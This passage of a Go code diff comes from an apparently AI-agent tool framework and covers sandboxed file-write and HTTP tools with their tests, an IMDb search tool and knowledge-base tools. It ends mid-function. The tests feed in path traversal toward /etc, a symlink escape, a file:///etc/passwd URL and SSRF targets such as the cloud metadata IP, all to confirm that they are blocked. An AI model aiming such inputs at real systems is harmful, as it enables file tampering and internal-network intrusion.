realPath, err := resolveReal(absPath)
if err != nil {
return fmt.Errorf("file: cannot resolve path %q: %w", absPath, err)
}
for _, allowed := range allowedPaths {
a, err := filepath.Abs(allowed)
if err != nil {
continue
}
// Resolve symlinks on the allowed path too.
realAllowed, err := resolveReal(a)
if err != nil {
continue
}
// Ensure the real path is strictly under the allowed directory.
// Add trailing separator to prevent /opt matching /opt1234.
if strings.HasPrefix(realPath, realAllowed+string(filepath.Separator)) || realPath == realAllowed {
return nil
}
}
return fmt.Errorf("path %q not under any allowed path", absPath)
}
// validateWritePath checks path validity AND that writing is allowed.
func validateWritePath(absPath string, allowedPaths []string, readOnly bool) error {
if readOnly {
return fmt.Errorf("file: write operations denied (read_only mode)")
}
return validatePath(absPath, allowedPaths)
}
// resolveReal resolves symlinks for a path.
// If the exact path doesn't exist, it walks up the tree to find the deepest
// existing ancestor, resolves its symlinks, and appends the remaining segments.
// This prevents partial traversal attacks via symlinks in non-existent paths.
func resolveReal(path string) (string, error) {
real, err := filepath.EvalSymlinks(path)
if err == nil {
return filepath.Clean(real), nil
}
// Walk up to find the deepest existing ancestor.
cleaned := filepath.Clean(path)
var tail []string
cur := cleaned
for {
parent := filepath.Dir(cur)
tail = append([]string{filepath.Base(cur)}, tail...)
realParent, err := filepath.EvalSymlinks(parent)
if err == nil {
// Found an existing ancestor — rebuild the path.
result := realParent
for _, seg := range tail {
result = filepath.Join(result, seg)
}
return filepath.Clean(result), nil
}
if parent == cur {
// Reached the root without finding an existing ancestor.
return "", fmt.Errorf("cannot resolve any ancestor of %q", path)
}
cur = parent
}
}
+67
View File
@@ -0,0 +1,67 @@
package file
import (
"context"
"fmt"
"os"
"path/filepath"
"github.com/enmanuel/agents/internal/config"
"github.com/enmanuel/agents/tools"
)
// maxWriteSize is the maximum content size for write_file (1 MB).
const maxWriteSize = 1 * 1024 * 1024
// NewWriteFile creates a write_file tool that writes content to a local file.
// Deny-by-default: if AllowedPaths is empty, all writes are rejected.
// Rejects if ReadOnly is true. Creates parent directories if needed.
func NewWriteFile(cfg config.FileOpsCfg) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "write_file",
Description: "Write content to a local file. Creates the file if it does not exist. Creates parent directories if needed. Overwrites existing content.",
Parameters: []tools.Param{
{Name: "path", Type: "string", Description: "Absolute path to the file to write", Required: true},
{Name: "content", Type: "string", Description: "Content to write to the file", Required: true},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
path := tools.GetString(args, "path")
if path == "" {
return tools.Result{Err: fmt.Errorf("write_file: path is required")}
}
content := tools.GetString(args, "content")
if content == "" {
return tools.Result{Err: fmt.Errorf("write_file: content is required")}
}
if len(content) > maxWriteSize {
return tools.Result{Err: fmt.Errorf("write_file: content exceeds maximum size of 1 MB")}
}
absPath, err := filepath.Abs(path)
if err != nil {
return tools.Result{Err: fmt.Errorf("write_file: %w", err)}
}
if err := validateWritePath(absPath, cfg.AllowedPaths, cfg.ReadOnly); err != nil {
return tools.Result{Err: err}
}
// Create parent directories if they don't exist.
dir := filepath.Dir(absPath)
if err := os.MkdirAll(dir, 0755); err != nil {
return tools.Result{Err: fmt.Errorf("write_file: cannot create directories: %w", err)}
}
data := []byte(content)
if err := os.WriteFile(absPath, data, 0644); err != nil {
return tools.Result{Err: fmt.Errorf("write_file: %w", err)}
}
return tools.Result{Output: fmt.Sprintf("wrote %d bytes to %s", len(data), absPath)}
},
}
}
+202
View File
@@ -0,0 +1,202 @@
package file
import (
"context"
"os"
"path/filepath"
"strings"
"testing"
"github.com/enmanuel/agents/internal/config"
)
func TestWriteFile_CreatesNewFile(t *testing.T) {
tmp := t.TempDir()
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: false}
tool := NewWriteFile(cfg)
target := filepath.Join(tmp, "new.txt")
result := tool.Exec(context.Background(), map[string]any{
"path": target,
"content": "hello world",
})
if result.Err != nil {
t.Fatalf("expected success, got: %v", result.Err)
}
data, err := os.ReadFile(target)
if err != nil {
t.Fatalf("file not created: %v", err)
}
if string(data) != "hello world" {
t.Fatalf("expected 'hello world', got %q", string(data))
}
if !strings.Contains(result.Output, "11 bytes") {
t.Fatalf("expected output mentioning bytes, got %q", result.Output)
}
}
func TestWriteFile_RejectsReadOnly(t *testing.T) {
tmp := t.TempDir()
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: true}
tool := NewWriteFile(cfg)
result := tool.Exec(context.Background(), map[string]any{
"path": filepath.Join(tmp, "test.txt"),
"content": "data",
})
if result.Err == nil {
t.Fatal("expected error when ReadOnly is true")
}
if !strings.Contains(result.Err.Error(), "read_only") {
t.Fatalf("expected read_only error, got: %v", result.Err)
}
}
func TestWriteFile_RejectsPathOutsideAllowed(t *testing.T) {
tmp := t.TempDir()
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: false}
tool := NewWriteFile(cfg)
result := tool.Exec(context.Background(), map[string]any{
"path": "/etc/test.txt",
"content": "data",
})
if result.Err == nil {
t.Fatal("expected error for path outside allowed")
}
}
func TestWriteFile_RejectsContentOver1MB(t *testing.T) {
tmp := t.TempDir()
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: false}
tool := NewWriteFile(cfg)
bigContent := strings.Repeat("x", maxWriteSize+1)
result := tool.Exec(context.Background(), map[string]any{
"path": filepath.Join(tmp, "big.txt"),
"content": bigContent,
})
if result.Err == nil {
t.Fatal("expected error for content exceeding 1 MB")
}
if !strings.Contains(result.Err.Error(), "1 MB") {
t.Fatalf("expected 1 MB error, got: %v", result.Err)
}
}
func TestWriteFile_CreatesParentDirectories(t *testing.T) {
tmp := t.TempDir()
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: false}
tool := NewWriteFile(cfg)
target := filepath.Join(tmp, "sub", "dir", "file.txt")
result := tool.Exec(context.Background(), map[string]any{
"path": target,
"content": "nested",
})
if result.Err != nil {
t.Fatalf("expected success, got: %v", result.Err)
}
data, err := os.ReadFile(target)
if err != nil {
t.Fatalf("file not created: %v", err)
}
if string(data) != "nested" {
t.Fatalf("expected 'nested', got %q", string(data))
}
}
func TestWriteFile_OverwritesExistingFile(t *testing.T) {
tmp := t.TempDir()
target := filepath.Join(tmp, "exists.txt")
os.WriteFile(target, []byte("old"), 0644)
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: false}
tool := NewWriteFile(cfg)
result := tool.Exec(context.Background(), map[string]any{
"path": target,
"content": "new content",
})
if result.Err != nil {
t.Fatalf("expected success, got: %v", result.Err)
}
data, _ := os.ReadFile(target)
if string(data) != "new content" {
t.Fatalf("expected 'new content', got %q", string(data))
}
}
func TestWriteFile_PathTraversal(t *testing.T) {
tmp := t.TempDir()
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: false}
tool := NewWriteFile(cfg)
result := tool.Exec(context.Background(), map[string]any{
"path": filepath.Join(tmp, "..", "..", "etc", "evil.txt"),
"content": "data",
})
if result.Err == nil {
t.Fatal("expected error for path traversal")
}
}
func TestWriteFile_SymlinkEscape(t *testing.T) {
tmp := t.TempDir()
link := filepath.Join(tmp, "escape")
os.Symlink("/tmp", link)
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: false}
tool := NewWriteFile(cfg)
result := tool.Exec(context.Background(), map[string]any{
"path": filepath.Join(link, "evil.txt"),
"content": "data",
})
if result.Err == nil {
t.Fatal("expected error for symlink escape")
}
}
func TestWriteFile_EmptyPath(t *testing.T) {
cfg := config.FileOpsCfg{AllowedPaths: []string{"/tmp"}, ReadOnly: false}
tool := NewWriteFile(cfg)
result := tool.Exec(context.Background(), map[string]any{
"path": "",
"content": "data",
})
if result.Err == nil {
t.Fatal("expected error for empty path")
}
}
func TestWriteFile_EmptyContent(t *testing.T) {
cfg := config.FileOpsCfg{AllowedPaths: []string{"/tmp"}, ReadOnly: false}
tool := NewWriteFile(cfg)
result := tool.Exec(context.Background(), map[string]any{
"path": "/tmp/test.txt",
"content": "",
})
if result.Err == nil {
t.Fatal("expected error for empty content")
}
}
func TestWriteFile_DenyByDefault(t *testing.T) {
cfg := config.FileOpsCfg{AllowedPaths: []string{}, ReadOnly: false}
tool := NewWriteFile(cfg)
result := tool.Exec(context.Background(), map[string]any{
"path": "/tmp/test.txt",
"content": "data",
})
if result.Err == nil {
t.Fatal("expected error when AllowedPaths is empty")
}
}
+198
View File
@@ -0,0 +1,198 @@
package http
import (
"context"
"fmt"
"io"
"net"
"net/http"
"net/url"
"strings"
"time"
"github.com/enmanuel/agents/internal/config"
"github.com/enmanuel/agents/tools"
)
// NewHTTPGet creates an http_get tool that performs GET requests.
// Validates URLs against cfg.AllowedDomains (deny-by-default if non-empty)
// and blocks requests to internal/private IP ranges (SSRF protection).
func NewHTTPGet(cfg config.HTTPToolCfg) tools.Tool {
timeout := cfg.Timeout
if timeout == 0 {
timeout = 30 * time.Second
}
client := &http.Client{Timeout: timeout}
return tools.Tool{
Def: tools.Def{
Name: "http_get",
Description: "Perform an HTTP GET request to a URL and return the response body.",
Parameters: []tools.Param{
{Name: "url", Type: "string", Description: "The URL to request", Required: true},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
rawURL := tools.GetString(args, "url")
if rawURL == "" {
return tools.Result{Err: fmt.Errorf("http_get: url is required")}
}
if err := validateURL(rawURL, cfg.AllowedDomains); err != nil {
return tools.Result{Err: fmt.Errorf("http_get: %w", err)}
}
req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
if err != nil {
return tools.Result{Err: fmt.Errorf("http_get: %w", err)}
}
resp, err := client.Do(req)
if err != nil {
return tools.Result{Err: fmt.Errorf("http_get: %w", err)}
}
defer resp.Body.Close()
body, err := io.ReadAll(io.LimitReader(resp.Body, 64*1024)) // 64 KB limit
if err != nil {
return tools.Result{Err: fmt.Errorf("http_get read body: %w", err)}
}
return tools.Result{Output: fmt.Sprintf("HTTP %d\n%s", resp.StatusCode, body)}
},
}
}
// NewHTTPPost creates an http_post tool that performs POST requests with a JSON body.
// Validates URLs against cfg.AllowedDomains and blocks internal IPs.
func NewHTTPPost(cfg config.HTTPToolCfg) tools.Tool {
timeout := cfg.Timeout
if timeout == 0 {
timeout = 30 * time.Second
}
client := &http.Client{Timeout: timeout}
return tools.Tool{
Def: tools.Def{
Name: "http_post",
Description: "Perform an HTTP POST request with a JSON body and return the response.",
Parameters: []tools.Param{
{Name: "url", Type: "string", Description: "The URL to request", Required: true},
{Name: "body", Type: "string", Description: "The JSON body to send", Required: true},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
rawURL := tools.GetString(args, "url")
if rawURL == "" {
return tools.Result{Err: fmt.Errorf("http_post: url is required")}
}
bodyStr := tools.GetString(args, "body")
if bodyStr == "" {
return tools.Result{Err: fmt.Errorf("http_post: body is required")}
}
if err := validateURL(rawURL, cfg.AllowedDomains); err != nil {
return tools.Result{Err: fmt.Errorf("http_post: %w", err)}
}
req, err := http.NewRequestWithContext(ctx, http.MethodPost, rawURL, strings.NewReader(bodyStr))
if err != nil {
return tools.Result{Err: fmt.Errorf("http_post: %w", err)}
}
req.Header.Set("Content-Type", "application/json")
resp, err := client.Do(req)
if err != nil {
return tools.Result{Err: fmt.Errorf("http_post: %w", err)}
}
defer resp.Body.Close()
body, err := io.ReadAll(io.LimitReader(resp.Body, 64*1024))
if err != nil {
return tools.Result{Err: fmt.Errorf("http_post read body: %w", err)}
}
return tools.Result{Output: fmt.Sprintf("HTTP %d\n%s", resp.StatusCode, body)}
},
}
}
// validateURL checks domain allowlist and blocks internal IPs (SSRF protection).
func validateURL(rawURL string, allowedDomains []string) error {
u, err := url.Parse(rawURL)
if err != nil {
return fmt.Errorf("invalid url: %w", err)
}
host := u.Hostname()
if host == "" {
return fmt.Errorf("url has no host")
}
// SSRF protection: block internal/private IPs and localhost.
if err := rejectInternalHost(host); err != nil {
return err
}
// Domain allowlist (if configured).
if err := validateDomain(host, allowedDomains); err != nil {
return err
}
return nil
}
// validateDomain checks that the host is in the allowed list.
// If allowedDomains is empty, all domains are allowed.
func validateDomain(host string, allowedDomains []string) error {
if len(allowedDomains) == 0 {
return nil
}
lower := strings.ToLower(host)
for _, d := range allowedDomains {
if lower == strings.ToLower(d) {
return nil
}
}
return fmt.Errorf("domain %q not in allowed list", host)
}
// rejectInternalHost blocks requests to localhost, private IPs, and link-local addresses.
func rejectInternalHost(host string) error {
lower := strings.ToLower(host)
if lower == "localhost" {
return fmt.Errorf("requests to localhost are blocked")
}
ip := net.ParseIP(host)
if ip == nil {
// Not an IP literal — could be a domain. Resolve it.
ips, err := net.LookupIP(host)
if err != nil {
return nil // let the HTTP client handle DNS errors
}
for _, resolved := range ips {
if isPrivateIP(resolved) {
return fmt.Errorf("domain %q resolves to private IP %s", host, resolved)
}
}
return nil
}
if isPrivateIP(ip) {
return fmt.Errorf("requests to private IP %s are blocked", ip)
}
return nil
}
// isPrivateIP returns true for loopback, private, link-local, and metadata IPs.
func isPrivateIP(ip net.IP) bool {
return ip.IsLoopback() ||
ip.IsPrivate() ||
ip.IsLinkLocalUnicast() ||
ip.IsLinkLocalMulticast() ||
isMetadataIP(ip)
}
// isMetadataIP checks for cloud metadata service IPs (169.254.169.254).
func isMetadataIP(ip net.IP) bool {
return ip.Equal(net.ParseIP("169.254.169.254"))
}
+124
View File
@@ -0,0 +1,124 @@
package http
import (
"net"
"testing"
)
func TestValidateDomain_EmptyAllowed(t *testing.T) {
if err := validateDomain("example.com", nil); err != nil {
t.Fatalf("empty list should allow all: %v", err)
}
}
func TestValidateDomain_Allowed(t *testing.T) {
if err := validateDomain("api.example.com", []string{"api.example.com"}); err != nil {
t.Fatalf("should be allowed: %v", err)
}
}
func TestValidateDomain_Denied(t *testing.T) {
if err := validateDomain("evil.com", []string{"api.example.com"}); err == nil {
t.Fatal("should be denied")
}
}
func TestValidateDomain_CaseInsensitive(t *testing.T) {
if err := validateDomain("API.Example.COM", []string{"api.example.com"}); err != nil {
t.Fatalf("should be case-insensitive: %v", err)
}
}
func TestRejectInternalHost_Localhost(t *testing.T) {
if err := rejectInternalHost("localhost"); err == nil {
t.Fatal("localhost should be blocked")
}
}
func TestRejectInternalHost_Loopback(t *testing.T) {
if err := rejectInternalHost("127.0.0.1"); err == nil {
t.Fatal("loopback should be blocked")
}
}
func TestRejectInternalHost_IPv6Loopback(t *testing.T) {
if err := rejectInternalHost("::1"); err == nil {
t.Fatal("IPv6 loopback should be blocked")
}
}
func TestRejectInternalHost_PrivateA(t *testing.T) {
if err := rejectInternalHost("10.0.0.1"); err == nil {
t.Fatal("10.x should be blocked")
}
}
func TestRejectInternalHost_PrivateB(t *testing.T) {
if err := rejectInternalHost("172.16.0.1"); err == nil {
t.Fatal("172.16.x should be blocked")
}
}
func TestRejectInternalHost_PrivateC(t *testing.T) {
if err := rejectInternalHost("192.168.1.1"); err == nil {
t.Fatal("192.168.x should be blocked")
}
}
func TestRejectInternalHost_LinkLocal(t *testing.T) {
if err := rejectInternalHost("169.254.1.1"); err == nil {
t.Fatal("link-local should be blocked")
}
}
func TestRejectInternalHost_Metadata(t *testing.T) {
if err := rejectInternalHost("169.254.169.254"); err == nil {
t.Fatal("metadata IP should be blocked")
}
}
func TestRejectInternalHost_PublicIP(t *testing.T) {
if err := rejectInternalHost("8.8.8.8"); err != nil {
t.Fatalf("public IP should be allowed: %v", err)
}
}
func TestIsPrivateIP(t *testing.T) {
cases := []struct {
ip string
want bool
}{
{"127.0.0.1", true},
{"10.0.0.1", true},
{"172.16.0.1", true},
{"192.168.0.1", true},
{"169.254.169.254", true},
{"8.8.8.8", false},
{"1.1.1.1", false},
}
for _, c := range cases {
ip := net.ParseIP(c.ip)
got := isPrivateIP(ip)
if got != c.want {
t.Errorf("isPrivateIP(%s) = %v, want %v", c.ip, got, c.want)
}
}
}
func TestValidateURL_Valid(t *testing.T) {
if err := validateURL("https://example.com/api", nil); err != nil {
t.Fatalf("public URL should pass: %v", err)
}
}
func TestValidateURL_InternalIP(t *testing.T) {
if err := validateURL("http://127.0.0.1:8080/admin", nil); err == nil {
t.Fatal("internal IP in URL should be blocked")
}
}
func TestValidateURL_NoHost(t *testing.T) {
if err := validateURL("file:///etc/passwd", nil); err == nil {
t.Fatal("URL with no host should be rejected")
}
}
+167
View File
@@ -0,0 +1,167 @@
package imdb
import (
"context"
"encoding/json"
"fmt"
"io"
"net/http"
"net/url"
"os"
"strings"
"time"
"github.com/enmanuel/agents/internal/config"
"github.com/enmanuel/agents/tools"
)
// SearchResult represents a single movie/series result from OMDb API.
type SearchResult struct {
Title string `json:"Title"`
Year string `json:"Year"`
ImdbID string `json:"imdbID"`
Type string `json:"Type"`
Poster string `json:"Poster"`
}
// SearchResponse represents the full response from OMDb search endpoint.
type SearchResponse struct {
Search []SearchResult `json:"Search"`
TotalResults string `json:"totalResults"`
Response string `json:"Response"`
Error string `json:"Error"`
}
// NewIMDbSearch creates an imdb_search tool that searches movies on IMDb via OMDb API.
// Returns up to 5 results with title, year, type, poster URL, and IMDb ID.
// Requires API key from http://www.omdbapi.com/
func NewIMDbSearch(cfg config.IMDbToolCfg) tools.Tool {
timeout := cfg.Timeout
if timeout == 0 {
timeout = 10 * time.Second
}
client := &http.Client{Timeout: timeout}
return tools.Tool{
Def: tools.Def{
Name: "imdb_search",
Description: "Search for movies or series on IMDb by title. Returns up to 5 results with title, year, type, poster image URL, and IMDb ID.",
Parameters: []tools.Param{
{Name: "query", Type: "string", Description: "The movie or series title to search for", Required: true},
{Name: "year", Type: "integer", Description: "Optional year to filter results (e.g., 2020)", Required: false},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
query := tools.GetString(args, "query")
if query == "" {
return tools.Result{Err: fmt.Errorf("imdb_search: query is required")}
}
// Get API key from config or env var
apiKey := cfg.APIKey
if apiKey == "" && cfg.APIKeyEnv != "" {
apiKey = getEnvVar(cfg.APIKeyEnv)
}
if apiKey == "" {
return tools.Result{Err: fmt.Errorf("imdb_search: API key not configured (set imdb.api_key or imdb.api_key_env in config)")}
}
// Build search URL
searchURL := buildSearchURL(apiKey, query, args)
req, err := http.NewRequestWithContext(ctx, http.MethodGet, searchURL, nil)
if err != nil {
return tools.Result{Err: fmt.Errorf("imdb_search: %w", err)}
}
resp, err := client.Do(req)
if err != nil {
return tools.Result{Err: fmt.Errorf("imdb_search: %w", err)}
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return tools.Result{Err: fmt.Errorf("imdb_search: HTTP %d", resp.StatusCode)}
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 64*1024))
if err != nil {
return tools.Result{Err: fmt.Errorf("imdb_search: read body: %w", err)}
}
var searchResp SearchResponse
if err := json.Unmarshal(body, &searchResp); err != nil {
return tools.Result{Err: fmt.Errorf("imdb_search: parse response: %w", err)}
}
if searchResp.Response == "False" {
return tools.Result{Output: fmt.Sprintf("No se encontraron resultados para '%s'. Error: %s", query, searchResp.Error)}
}
// Format results (limit to first 5)
output := formatResults(searchResp.Search, query)
return tools.Result{Output: output}
},
}
}
// buildSearchURL constructs the OMDb API search URL with query parameters.
func buildSearchURL(apiKey, query string, args map[string]any) string {
params := url.Values{}
params.Set("apikey", apiKey)
params.Set("s", query)
params.Set("type", "movie") // default to movies, could be made configurable
// Add year filter if provided
if year := tools.GetInt(args, "year"); year > 0 {
params.Set("y", fmt.Sprintf("%d", year))
}
return fmt.Sprintf("https://www.omdbapi.com/?%s", params.Encode())
}
// formatResults converts search results into a readable text format.
func formatResults(results []SearchResult, query string) string {
if len(results) == 0 {
return fmt.Sprintf("No se encontraron películas para '%s'", query)
}
var builder strings.Builder
builder.WriteString(fmt.Sprintf("🎬 Resultados de IMDb para '%s':\n\n", query))
// Limit to 5 results
limit := 5
if len(results) < limit {
limit = len(results)
}
for i := 0; i < limit; i++ {
r := results[i]
builder.WriteString(fmt.Sprintf("%d. **%s** (%s)\n", i+1, r.Title, r.Year))
builder.WriteString(fmt.Sprintf(" • Tipo: %s\n", r.Type))
builder.WriteString(fmt.Sprintf(" • IMDb ID: %s\n", r.ImdbID))
if r.Poster != "" && r.Poster != "N/A" {
builder.WriteString(fmt.Sprintf(" • Poster: %s\n", r.Poster))
} else {
builder.WriteString(" • Poster: No disponible\n")
}
builder.WriteString(fmt.Sprintf(" • Link: https://www.imdb.com/title/%s/\n", r.ImdbID))
if i < limit-1 {
builder.WriteString("\n")
}
}
if len(results) > 5 {
builder.WriteString(fmt.Sprintf("\n... y %d resultado(s) más", len(results)-5))
}
return builder.String()
}
// getEnvVar retrieves an environment variable by name.
func getEnvVar(name string) string {
return os.Getenv(name)
}
+138
View File
@@ -0,0 +1,138 @@
package knowledgetools
import (
"context"
"fmt"
"strings"
"github.com/enmanuel/agents/pkg/knowledge"
"github.com/enmanuel/agents/tools"
)
// KnowledgeStore is the subset of knowledge.Store needed by knowledge tools.
type KnowledgeStore interface {
Search(ctx context.Context, query string, limit int) ([]knowledge.SearchResult, error)
Get(ctx context.Context, slug string) (*knowledge.Document, error)
Put(ctx context.Context, doc knowledge.Document) error
List(ctx context.Context) ([]knowledge.Document, error)
}
// NewKnowledgeSearch creates a tool that searches the knowledge base.
func NewKnowledgeSearch(store KnowledgeStore) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "knowledge_search",
Description: "Search your knowledge base for relevant documents. Returns matching snippets ranked by relevance.",
Parameters: []tools.Param{
{Name: "query", Type: "string", Description: "Search terms or phrase", Required: true},
{Name: "limit", Type: "integer", Description: "Max results (default 5)", Required: false},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
query := tools.GetString(args, "query")
if query == "" {
return tools.Result{Err: fmt.Errorf("knowledge_search: query is required")}
}
limit := tools.GetInt(args, "limit")
if limit <= 0 {
limit = 5
}
results, err := store.Search(ctx, query, limit)
if err != nil {
return tools.Result{Err: fmt.Errorf("knowledge_search: %w", err)}
}
if len(results) == 0 {
return tools.Result{Output: "no documents found matching your query"}
}
var sb strings.Builder
for i, r := range results {
fmt.Fprintf(&sb, "%d. **%s** (`%s`)\n %s\n", i+1, r.Title, r.Slug, r.Snippet)
}
return tools.Result{Output: sb.String()}
},
}
}
// NewKnowledgeRead creates a tool that reads a knowledge document.
func NewKnowledgeRead(store KnowledgeStore) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "knowledge_read",
Description: "Read the full content of a knowledge document by its slug.",
Parameters: []tools.Param{
{Name: "slug", Type: "string", Description: "Document slug (e.g. \"go-patterns\")", Required: true},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
slug := tools.GetString(args, "slug")
if slug == "" {
return tools.Result{Err: fmt.Errorf("knowledge_read: slug is required")}
}
doc, err := store.Get(ctx, slug)
if err != nil {
return tools.Result{Err: fmt.Errorf("knowledge_read: %w", err)}
}
return tools.Result{Output: doc.Content}
},
}
}
// NewKnowledgeWrite creates a tool that writes a knowledge document.
func NewKnowledgeWrite(store KnowledgeStore) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "knowledge_write",
Description: "Create or update a knowledge document. Use this to save new knowledge or improve existing documents.",
Parameters: []tools.Param{
{Name: "slug", Type: "string", Description: "Document slug (lowercase, hyphens, e.g. \"matrix-tips\")", Required: true},
{Name: "content", Type: "string", Description: "Full markdown content of the document", Required: true},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
slug := tools.GetString(args, "slug")
content := tools.GetString(args, "content")
if slug == "" || content == "" {
return tools.Result{Err: fmt.Errorf("knowledge_write: slug and content are required")}
}
err := store.Put(ctx, knowledge.Document{
Slug: slug,
Content: content,
})
if err != nil {
return tools.Result{Err: fmt.Errorf("knowledge_write: %w", err)}
}
return tools.Result{Output: fmt.Sprintf("document saved: %s (%d bytes)", slug, len(content))}
},
}
}
// NewKnowledgeList creates a tool that lists all knowledge documents.
func NewKnowledgeList(store KnowledgeStore) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "knowledge_list",
Description: "List all documents in your knowledge base with their titles.",
Parameters: []tools.Param{},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
docs, err := store.List(ctx)
if err != nil {
return tools.Result{Err: fmt.Errorf("knowledge_list: %w", err)}
}
if len(docs) == 0 {
return tools.Result{Output: "knowledge base is empty"}
}
var sb strings.Builder
for _, d := range docs {
fmt.Fprintf(&sb, "- `%s`: %s (updated %s)\n",
d.Slug, d.Title, d.UpdatedAt.Format("2006-01-02"))
}
return tools.Result{Output: sb.String()}
},
}
}
+182
View File
@@ -0,0 +1,182 @@
package knowledgetools
import (
"context"
"testing"
"github.com/enmanuel/agents/pkg/knowledge"
"github.com/enmanuel/agents/tools"
)
// mockKnowledgeStore implements KnowledgeStore for testing.
type mockKnowledgeStore struct {
docs map[string]knowledge.Document
}
func newMockKnowledgeStore() *mockKnowledgeStore {
return &mockKnowledgeStore{docs: make(map[string]knowledge.Document)}
}
func (m *mockKnowledgeStore) Search(_ context.Context, query string, limit int) ([]knowledge.SearchResult, error) {
var results []knowledge.SearchResult
for _, d := range m.docs {
if len(results) >= limit {
break
}
results = append(results, knowledge.SearchResult{
Slug: d.Slug,
Title: d.Title,
Snippet: d.Content[:min(len(d.Content), 50)],
Rank: 1.0,
})
}
return results, nil
}
func (m *mockKnowledgeStore) Get(_ context.Context, slug string) (*knowledge.Document, error) {
d, ok := m.docs[slug]
if !ok {
return nil, &notFoundError{slug}
}
return &d, nil
}
func (m *mockKnowledgeStore) Put(_ context.Context, doc knowledge.Document) error {
m.docs[doc.Slug] = doc
return nil
}
func (m *mockKnowledgeStore) List(_ context.Context) ([]knowledge.Document, error) {
var docs []knowledge.Document
for _, d := range m.docs {
docs = append(docs, d)
}
return docs, nil
}
type notFoundError struct{ slug string }
func (e *notFoundError) Error() string { return "not found: " + e.slug }
func TestKnowledgeSearchTool(t *testing.T) {
store := newMockKnowledgeStore()
store.docs["go-patterns"] = knowledge.Document{
Slug: "go-patterns", Title: "Go Patterns", Content: "Use interfaces",
}
tool := NewKnowledgeSearch(store)
if tool.Def.Name != "knowledge_search" {
t.Errorf("name = %q, want knowledge_search", tool.Def.Name)
}
// Missing query
r := tool.Exec(context.Background(), map[string]any{})
if r.Err == nil {
t.Error("expected error for missing query")
}
// Valid search
r = tool.Exec(context.Background(), map[string]any{"query": "go"})
if r.Err != nil {
t.Errorf("unexpected error: %v", r.Err)
}
if r.Output == "" {
t.Error("expected non-empty output")
}
}
func TestKnowledgeReadTool(t *testing.T) {
store := newMockKnowledgeStore()
store.docs["test-doc"] = knowledge.Document{
Slug: "test-doc", Title: "Test", Content: "Hello world",
}
tool := NewKnowledgeRead(store)
// Missing slug
r := tool.Exec(context.Background(), map[string]any{})
if r.Err == nil {
t.Error("expected error for missing slug")
}
// Valid read
r = tool.Exec(context.Background(), map[string]any{"slug": "test-doc"})
if r.Err != nil {
t.Errorf("unexpected error: %v", r.Err)
}
if r.Output != "Hello world" {
t.Errorf("output = %q, want %q", r.Output, "Hello world")
}
// Not found
r = tool.Exec(context.Background(), map[string]any{"slug": "nope"})
if r.Err == nil {
t.Error("expected error for nonexistent doc")
}
}
func TestKnowledgeWriteTool(t *testing.T) {
store := newMockKnowledgeStore()
tool := NewKnowledgeWrite(store)
// Missing params
r := tool.Exec(context.Background(), map[string]any{"slug": "test"})
if r.Err == nil {
t.Error("expected error for missing content")
}
// Valid write
r = tool.Exec(context.Background(), map[string]any{
"slug": "new-doc",
"content": "# New Doc\nSome content",
})
if r.Err != nil {
t.Errorf("unexpected error: %v", r.Err)
}
if _, ok := store.docs["new-doc"]; !ok {
t.Error("document was not stored")
}
}
func TestKnowledgeListTool(t *testing.T) {
store := newMockKnowledgeStore()
tool := NewKnowledgeList(store)
// Empty
r := tool.Exec(context.Background(), map[string]any{})
if r.Err != nil {
t.Errorf("unexpected error: %v", r.Err)
}
if r.Output != "knowledge base is empty" {
t.Errorf("expected empty message, got %q", r.Output)
}
// With docs
store.docs["doc1"] = knowledge.Document{Slug: "doc1", Title: "Doc 1"}
r = tool.Exec(context.Background(), map[string]any{})
if r.Err != nil {
t.Errorf("unexpected error: %v", r.Err)
}
if r.Output == "knowledge base is empty" {
t.Error("expected non-empty output after adding docs")
}
}
func TestGetInt(t *testing.T) {
tests := []struct {
args map[string]any
key string
want int
}{
{map[string]any{"n": float64(5)}, "n", 5},
{map[string]any{"n": 3}, "n", 3},
{map[string]any{"n": "str"}, "n", 0},
{map[string]any{}, "n", 0},
}
for _, tt := range tests {
got := tools.GetInt(tt.args, tt.key)
if got != tt.want {
t.Errorf("GetInt(%v, %q) = %d, want %d", tt.args, tt.key, got, tt.want)
}
}
}
+141
View File
@@ -0,0 +1,141 @@
package knowledgetools
import (
"context"
"fmt"
"strings"
"github.com/enmanuel/agents/pkg/knowledge"
"github.com/enmanuel/agents/tools"
)
// NewSharedKnowledgeTools creates all shared knowledge tools backed by the given store.
// These tools provide access to the shared knowledge base accessible by all agents.
func NewSharedKnowledgeTools(store KnowledgeStore) []tools.Tool {
return []tools.Tool{
newSharedKnowledgeSearch(store),
newSharedKnowledgeRead(store),
newSharedKnowledgeWrite(store),
newSharedKnowledgeList(store),
}
}
// newSharedKnowledgeSearch creates a tool that searches the shared knowledge base.
func newSharedKnowledgeSearch(store KnowledgeStore) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "shared_knowledge_search",
Description: "Search the shared knowledge base accessible by all agents. Use this to find information other agents have recorded.",
Parameters: []tools.Param{
{Name: "query", Type: "string", Description: "Search terms or phrase", Required: true},
{Name: "limit", Type: "integer", Description: "Max results (default 5)", Required: false},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
